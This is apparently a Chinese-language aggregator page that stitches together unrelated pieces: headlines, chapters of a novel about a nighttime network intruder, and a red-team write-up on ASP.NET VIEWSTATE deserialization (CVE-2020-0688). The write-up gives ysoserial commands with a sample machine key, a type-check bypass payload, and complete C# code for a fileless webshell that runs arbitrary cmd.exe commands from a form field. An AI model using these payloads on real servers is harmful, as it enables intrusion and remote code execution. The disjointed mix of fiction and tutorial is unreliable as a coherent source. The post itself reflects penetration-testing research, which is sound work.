Aggregator
基于JMX协议攻击方式总结 - Afant1
这是一篇“不一样”的真实渗透测试案例分析文章
原创小说《杀手》第二章 黑夜来临
生命的短暂犹如露珠消散,人们在奔波中探寻答案。命运如同大海起伏不定,键盘在黑夜中吟唱悲歌。
寂静的黑夜,人们的呼声飘荡在夜空中。
北京市朝阳区酒仙桥路阳光上东小区,在某间屋子里,一个人人正在神情专注的盯着电脑,不断的发出鼠标点击和敲击键盘的噼啪声,那声音清脆极了,犹如美妙的音符一般。
王梓正在探寻对方的公司内部网络,寻找着重要信息。看似平静的夜晚,而危险正在通过网络悄无声息的靠近。在未来的一个月内不知道会有多少人面临着失业,抑或者有人因此而自杀,也不知道多少病人因为药厂不能提供一些药物而加重病情,甚至死去。人们无法预测自己的未来和控制未来。杀手掌握着别人的未来,可是对于杀手抑或者网络杀手来说,他们自己的未来,也同样掌握在别人的手里。
人们还不知道危险就在自己的身边,人的生命有时候就是这样的脆弱。人们的命运都掌握在别人手里,在这大千世界面前我们都是弱者。即使强者也只是暂时的,不断变换着的。
王梓通过之前的几台员工电脑,很顺利的便控制了对方的crm(客户关系管理系统)、文件备份管理系统。此时的他正在准备获取到公司内部网络的最高管理权限(域控制权限)。黑色窗口,白色字符,不断闪现的流动的一串串字符。每一次的键盘敲击,都是在与目标靠近。
Cyber Threats Targeting Middle East, Winter 2019
原创小说 《杀手》 第一章 网络杀手
杀手是在生活中受到雇主的雇佣,而去执行杀人任务,最终获得报酬。他们孤独,不轻易相信其他任何的人。他们非常冷酷,面对生命,他们从来不会手下留情。因为杀人就是她们的存在的意义。很少有人见过他们,因为大多数见过他们的人,都已经被杀死掉了。他们平时白天不出门,只有在夜里才开始行动,他们出去都会戴上墨镜,头顶一顶鸭舌帽,有时候以雾霾为由戴上口罩。其实,他们只是不想别人知道他们的真正面目。他们活在黑暗的世界里,不见天日。他们很可怜,没有爱情,没有亲情,甚至连个朋友都没有。
在网络的世界中也有这样的一种人,他们不杀人,他们也不需要在现实中隐藏包装自己,因为他们只存在于虚拟的网络世界中,很少有人知道他们的真面目。他们同样在夜间才进行活动,他们的任务是窃取企业,政府的最高机密信息。更准确的说,可以叫他们为网络间谍。他们是这个网络上的杀手,他们不会亲自杀人,却因为他们盗取的信息,有他们的买家来去做一些伤天害理的事情,使很多人因此而家破人亡。不过,对于这个世界来说,每个人都有着他自己的命运,弱者注定要被这个社会淘汰,而这个也正是杀手们所认同的,在杀手已活着网络杀手看来,他们可以杀死(入侵的目标)的人都是弱者。他们信奉他们自己可以改变或控制别人的命运,甚至大多数人的命运。
登场“早~”,小楠对刚刚到公司的王梓打招呼。王梓则开心的笑笑,作为回应。
王梓是一家中日合资的中型软件公司的程序员。性格内向,腼腆。长相一般,在嘴巴的右上角有一颗痦子。在这家拥有数十位的程序员的公司,每个人都只负责各自的一部分,王梓在这里是其中普普通通的一员,公司部门内部竞争激烈,升职也比较困难,王梓不时还会犯些小错误,因为被领导破口大骂。对此王梓什么都不说,只在一旁听着,完事后继续回到座位上默默的工作。这时候,作为翻译的小楠总会过来安慰王梓。王梓也总说是他自己的错误。不怪领导发脾气。
玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門
這篇文章呼應我在研討會 DEVCORE CONFERENCE 2019 分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。
內文最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。
更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:
對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。
最基本、常見的方式是直接使用工具 ysoserial.net 的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。
例如:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\pwn.txt" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。
But ..
在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:
- 封鎖所有主動對外連線
- 禁止查詢外部 DNS
- 網頁目錄無法寫入
- 網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案
所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 System.Web.HttpContext.Current 就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!
我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319 之中。
至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 ysoserial.net,就可以在範例檔案裡找到它,或是可以先直接看這裡:
class E { public E() { System.Web.HttpContext context = System.Web.HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); try { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = "cmd.exe"; string cmd = context.Request.Form["cmd"]; process.StartInfo.Arguments = "/c " + cmd; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.StartInfo.UseShellExecute = false; process.Start(); string output = process.StandardOutput.ReadToEnd(); context.Response.Write(output); } catch (System.Exception) {} context.Response.Flush(); context.Response.End(); } }其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。
到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣:
不過有時也會出現這種情境:
不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q
但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!
詳細細節可以閱讀這篇文章:Re-Animating ActivitySurrogateSelector By Nick Landers
總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --generator="CA0B0334" --validationalg="SHA1" --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!
不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。